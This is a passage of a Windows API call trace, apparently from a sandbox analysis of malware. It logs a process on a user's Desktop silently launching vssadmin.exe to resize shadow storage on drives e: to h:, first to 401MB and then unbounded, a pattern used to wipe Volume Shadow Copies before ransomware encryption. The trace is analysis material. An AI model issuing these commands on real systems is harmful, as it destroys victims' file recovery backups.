() returned 0xffffffffffffffff [0102.423] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x284, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0102.426] CloseHandle (hObject=0x1f4) returned 1 [0102.426] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0102.426] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0102.426] GetCurrentProcess () returned 0xffffffffffffffff [0102.426] GetCurrentProcess () returned 0xffffffffffffffff [0102.426] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x290) returned 1 [0102.426] CloseHandle (hObject=0x1f4) returned 1 [0102.426] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0102.426] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0102.426] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0102.426] CoTaskMemFree (pv=0x1a5750d0) [0102.426] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"vssadmin.exe\" resize shadowstorage /for=e: /on=e: /maxsize=unbounded", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1ede70*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x226f7c8 | out: lpCommandLine="\"vssadmin.exe\" resize shadowstorage /for=e: /on=e: /maxsize=unbounded", lpProcessInformation=0x226f7c8*(hProcess=0x28c, hThread=0x1f4, dwProcessId=0x84c, dwThreadId=0x85c)) returned 1 [0102.435] CloseHandle (hObject=0x1f8) returned 1 [0102.435] GetFileType (hFile=0x290) returned 0x3 [0102.435] CloseHandle (hObject=0x1f4) returned 1 [0102.435] ReadFile (in: hFile=0x290, lpBuffer=0x2270098, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2270098*, lpNumberOfBytesRead=0x1ee0e8*=0x77, lpOverlapped=0x0) returned 1 [0102.536] ReadFile (in: hFile=0x290, lpBuffer=0x2270098, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2270098*, lpNumberOfBytesRead=0x1ee0e8*=0x6, lpOverlapped=0x0) returned 1 [0102.539] ReadFile (in: hFile=0x290, lpBuffer=0x2270098, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2270098*, lpNumberOfBytesRead=0x1ee0e8*=0x1, lpOverlapped=0x0) returned 1 [0102.540] ReadFile (in: hFile=0x290, lpBuffer=0x2270098, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2270098*, lpNumberOfBytesRead=0x1ee0e8*=0x99, lpOverlapped=0x0) returned 1 [0102.540] ReadFile (in: hFile=0x290, lpBuffer=0x2270098, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2270098*, lpNumberOfBytesRead=0x1ee0e8*=0x3, lpOverlapped=0x0) returned 1 [0102.541] ReadFile (in: hFile=0x290, lpBuffer=0x2270098, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2270098, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0102.548] GetCurrentProcess () returned 0xffffffffffffffff [0102.548] GetCurrentProcess () returned 0xffffffffffffffff [0102.548] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x28c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0102.550] CloseHandle (hObject=0x1f4) returned 1 [0102.550] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0102.550] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0102.550] GetCurrentProcess () returned 0xffffffffffffffff [0102.551] GetCurrentProcess () returned 0xffffffffffffffff [0102.551] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x298) returned 1 [0102.551] CloseHandle (hObject=0x1f4) returned 1 [0102.551] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0102.551] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0102.551] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0102.551] CoTaskMemFree (pv=0x1a5750d0) [0102.551] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"vssadmin.exe\" resize shadowstorage /for=f: /on=f: /maxsize=401MB", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1ede70*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x2273c10 | out: lpCommandLine="\"vssadmin.exe\" resize shadowstorage /for=f: /on=f: /maxsize=401MB", lpProcessInformation=0x2273c10*(hProcess=0x294, hThread=0x1f4, dwProcessId=0x8ac, dwThreadId=0x8bc)) returned 1 [0102.559] CloseHandle (hObject=0x1f8) returned 1 [0102.560] GetFileType (hFile=0x298) returned 0x3 [0102.560] CloseHandle (hObject=0x1f4) returned 1 [0102.560] ReadFile (in: hFile=0x298, lpBuffer=0x22744d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22744d8*, lpNumberOfBytesRead=0x1ee0e8*=0x77, lpOverlapped=0x0) returned 1 [0102.670] ReadFile (in: hFile=0x298, lpBuffer=0x22744d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22744d8*, lpNumberOfBytesRead=0x1ee0e8*=0x6, lpOverlapped=0x0) returned 1 [0102.674] ReadFile (in: hFile=0x298, lpBuffer=0x22744d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22744d8*, lpNumberOfBytesRead=0x1ee0e8*=0x1, lpOverlapped=0x0) returned 1 [0102.675] ReadFile (in: hFile=0x298, lpBuffer=0x22744d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22744d8*, lpNumberOfBytesRead=0x1ee0e8*=0x99, lpOverlapped=0x0) returned 1 [0102.675] ReadFile (in: hFile=0x298, lpBuffer=0x22744d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22744d8*, lpNumberOfBytesRead=0x1ee0e8*=0x3, lpOverlapped=0x0) returned 1 [0102.676] ReadFile (in: hFile=0x298, lpBuffer=0x22744d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22744d8, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0102.683] GetCurrentProcess () returned 0xffffffffffffffff [0102.683] GetCurrentProcess () returned 0xffffffffffffffff [0102.683] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x294, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0102.685] CloseHandle (hObject=0x1f4) returned 1 [0102.686] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0102.686] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0102.686] GetCurrentProcess () returned 0xffffffffffffffff [0102.686] GetCurrentProcess () returned 0xffffffffffffffff [0102.686] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x2a0) returned 1 [0102.686] CloseHandle (hObject=0x1f4) returned 1 [0102.686] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0102.686] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0102.686] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0102.686] CoTaskMemFree (pv=0x1a5750d0) [0102.686] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"vssadmin.exe\" resize shadowstorage /for=f: /on=f: /maxsize=unbounded", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1ede70*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x2278058 | out: lpCommandLine="\"vssadmin.exe\" resize shadowstorage /for=f: /on=f: /maxsize=unbounded", lpProcessInformation=0x2278058*(hProcess=0x29c, hThread=0x1f4, dwProcessId=0x90c, dwThreadId=0x91c)) returned 1 [0102.695] CloseHandle (hObject=0x1f8) returned 1 [0102.696] GetFileType (hFile=0x2a0) returned 0x3 [0102.696] CloseHandle (hObject=0x1f4) returned 1 [0102.696] ReadFile (in: hFile=0x2a0, lpBuffer=0x2278928, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2278928*, lpNumberOfBytesRead=0x1ee0e8*=0x77, lpOverlapped=0x0) returned 1 [0102.825] ReadFile (in: hFile=0x2a0, lpBuffer=0x2278928, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2278928*, lpNumberOfBytesRead=0x1ee0e8*=0x6, lpOverlapped=0x0) returned 1 [0102.830] ReadFile (in: hFile=0x2a0, lpBuffer=0x2278928, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2278928*, lpNumberOfBytesRead=0x1ee0e8*=0x1, lpOverlapped=0x0) returned 1 [0102.830] ReadFile (in: hFile=0x2a0, lpBuffer=0x2278928, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2278928*, lpNumberOfBytesRead=0x1ee0e8*=0x99, lpOverlapped=0x0) returned 1 [0102.831] ReadFile (in: hFile=0x2a0, lpBuffer=0x2278928, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2278928*, lpNumberOfBytesRead=0x1ee0e8*=0x3, lpOverlapped=0x0) returned 1 [0102.831] ReadFile (in: hFile=0x2a0, lpBuffer=0x2278928, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2278928, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0102.838] GetCurrentProcess () returned 0xffffffffffffffff [0102.839] GetCurrentProcess () returned 0xffffffffffffffff [0102.839] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x29c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0102.842] CloseHandle (hObject=0x1f4) returned 1 [0102.842] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0102.842] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0102.842] GetCurrentProcess () returned 0xffffffffffffffff [0102.842] GetCurrentProcess () returned 0xffffffffffffffff [0102.842] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x2a8) returned 1 [0102.842] CloseHandle (hObject=0x1f4) returned 1 [0102.842] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0102.842] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0102.842] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0102.843] CoTaskMemFree (pv=0x1a5750d0) [0102.843] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"vssadmin.exe\" resize shadowstorage /for=g: /on=g: /maxsize=401MB", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1ede70*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x227c4a0 | out: lpCommandLine="\"vssadmin.exe\" resize shadowstorage /for=g: /on=g: /maxsize=401MB", lpProcessInformation=0x227c4a0*(hProcess=0x2a4, hThread=0x1f4, dwProcessId=0x96c, dwThreadId=0x97c)) returned 1 [0102.857] CloseHandle (hObject=0x1f8) returned 1 [0102.857] GetFileType (hFile=0x2a8) returned 0x3 [0102.857] CloseHandle (hObject=0x1f4) returned 1 [0102.857] ReadFile (in: hFile=0x2a8, lpBuffer=0x227cd68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x227cd68*, lpNumberOfBytesRead=0x1ee0e8*=0x77, lpOverlapped=0x0) returned 1 [0102.959] ReadFile (in: hFile=0x2a8, lpBuffer=0x227cd68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x227cd68*, lpNumberOfBytesRead=0x1ee0e8*=0x6, lpOverlapped=0x0) returned 1 [0102.970] ReadFile (in: hFile=0x2a8, lpBuffer=0x227cd68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x227cd68*, lpNumberOfBytesRead=0x1ee0e8*=0x1, lpOverlapped=0x0) returned 1 [0102.970] ReadFile (in: hFile=0x2a8, lpBuffer=0x227cd68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x227cd68*, lpNumberOfBytesRead=0x1ee0e8*=0x99, lpOverlapped=0x0) returned 1 [0102.971] ReadFile (in: hFile=0x2a8, lpBuffer=0x227cd68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x227cd68*, lpNumberOfBytesRead=0x1ee0e8*=0x3, lpOverlapped=0x0) returned 1 [0102.971] ReadFile (in: hFile=0x2a8, lpBuffer=0x227cd68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x227cd68, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0102.982] GetCurrentProcess () returned 0xffffffffffffffff [0102.982] GetCurrentProcess () returned 0xffffffffffffffff [0102.982] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x2a4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0102.984] CloseHandle (hObject=0x1f4) returned 1 [0102.984] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0102.984] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0102.984] GetCurrentProcess () returned 0xffffffffffffffff [0102.985] GetCurrentProcess () returned 0xffffffffffffffff [0102.985] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x2b0) returned 1 [0102.985] CloseHandle (hObject=0x1f4) returned 1 [0102.985] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0102.985] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0102.985] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0102.985] CoTaskMemFree (pv=0x1a5750d0) [0102.985] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"vssadmin.exe\" resize shadowstorage /for=g: /on=g: /maxsize=unbounded", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1ede70*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x22808e8 | out: lpCommandLine="\"vssadmin.exe\" resize shadowstorage /for=g: /on=g: /maxsize=unbounded", lpProcessInformation=0x22808e8*(hProcess=0x2ac, hThread=0x1f4, dwProcessId=0x9cc, dwThreadId=0x9dc)) returned 1 [0102.993] CloseHandle (hObject=0x1f8) returned 1 [0102.993] GetFileType (hFile=0x2b0) returned 0x3 [0102.994] CloseHandle (hObject=0x1f4) returned 1 [0102.994] ReadFile (in: hFile=0x2b0, lpBuffer=0x22811b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22811b8*, lpNumberOfBytesRead=0x1ee0e8*=0x77, lpOverlapped=0x0) returned 1 [0103.092] ReadFile (in: hFile=0x2b0, lpBuffer=0x22811b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22811b8*, lpNumberOfBytesRead=0x1ee0e8*=0x6, lpOverlapped=0x0) returned 1 [0103.094] ReadFile (in: hFile=0x2b0, lpBuffer=0x22811b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22811b8*, lpNumberOfBytesRead=0x1ee0e8*=0x1, lpOverlapped=0x0) returned 1 [0103.095] ReadFile (in: hFile=0x2b0, lpBuffer=0x22811b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22811b8*, lpNumberOfBytesRead=0x1ee0e8*=0x99, lpOverlapped=0x0) returned 1 [0103.095] ReadFile (in: hFile=0x2b0, lpBuffer=0x22811b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22811b8*, lpNumberOfBytesRead=0x1ee0e8*=0x3, lpOverlapped=0x0) returned 1 [0103.096] ReadFile (in: hFile=0x2b0, lpBuffer=0x22811b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22811b8, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0103.101] GetCurrentProcess () returned 0xffffffffffffffff [0103.101] GetCurrentProcess () returned 0xffffffffffffffff [0103.101] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x2ac, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0103.103] CloseHandle (hObject=0x1f4) returned 1 [0103.103] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0103.103] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0103.103] GetCurrentProcess () returned 0xffffffffffffffff [0103.103] GetCurrentProcess () returned 0xffffffffffffffff [0103.104] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x2b8) returned 1 [0103.104] CloseHandle (hObject=0x1f4) returned 1 [0103.104] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0103.104] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0103.104] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0103.104] CoTaskMemFree (pv=0x1a5750d0) [0103.104] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"vssadmin.exe\" resize shadowstorage /for=h: /on=h: /maxsize=401MB", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1ede70*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x2284d30 | out: lpCommandLine="\"vssadmin.exe\" resize shadowstorage /for=h: /on=h: /maxsize=401MB", lpProcessInformation=0x2284d30*(hProcess=0x2b4, hThread=0x1f4, dwProcessId=0xa2c, dwThreadId=0xa3c)) returned 1 [0103.110] CloseHandle (hObject=0x1f8) returned 1 [0103.110] GetFileType (hFile=0x2b8) returned 0x3 [0103.111] CloseHandle (hObject=0x1f4) returned 1 [0103.111] ReadFile (in: hFile=0x2b8, lpBuffer=0x22855f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22855f8*, lpNumberOfBytesRead=0x1ee0e8*=0x77, lpOverlapped=0x0) returned 1 [0103.189] ReadFile (in: hFile=0x2b8, lpBuffer=0x22855f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22855f8*, lpNumberOfBytesRead=0x1ee0e8*=0x6, lpOverlapped=0x0) returned 1 [0103.193] ReadFile (in: hFile=0x2b8, lpBuffer=0x22855f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22855f8*, lpNumberOfBytesRead=0x1ee0e8*=0x1, lpOverlapped=0x0) returned 1 [0103.193] ReadFile (in: hFile=0x2b8, lpBuffer=0x22855f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22855f8*, lpNumberOfBytesRead=0x1ee0e8*=0x99, lpOverlapped=0x0) returned 1 [0103.193] ReadFile (in: hFile=0x2b8, lpBuffer=0x22855f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22855f8*, lpNumberOfBytesRead=0x1ee0e8*=0x3, lpOverlapped=0x0) returned 1 [0103.194] ReadFile (in: hFile=0x2b8, lpBuffer=0x22855f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22855f8, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0103.199] GetCurrentProcess () returned 0xffffffffffffffff [0103.199] GetCurrentProcess () returned 0xffffffffffffffff [0103.199] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x2b4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0103.201] CloseHandle (hObject=0x1f4) returned 1 [0103.201] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0103.201] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0103.201] GetCurrentProcess () returned 0xffffffffffffffff [0103.201] GetCurrentProcess () returned 0xffffffffffffffff [0103.202] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x2c0) returned 1 [0103.202] CloseHandle (hObject=0x1f4) returned 1 [0103.202] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0103.202] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0103.202] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0103.202] CoTaskMemFree (pv=0x1a5750d0) [0103.202] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"vssadmin.exe\" resize shadowstorage /for=h: /on=h: /maxsize=unbounded", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1ede70*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, 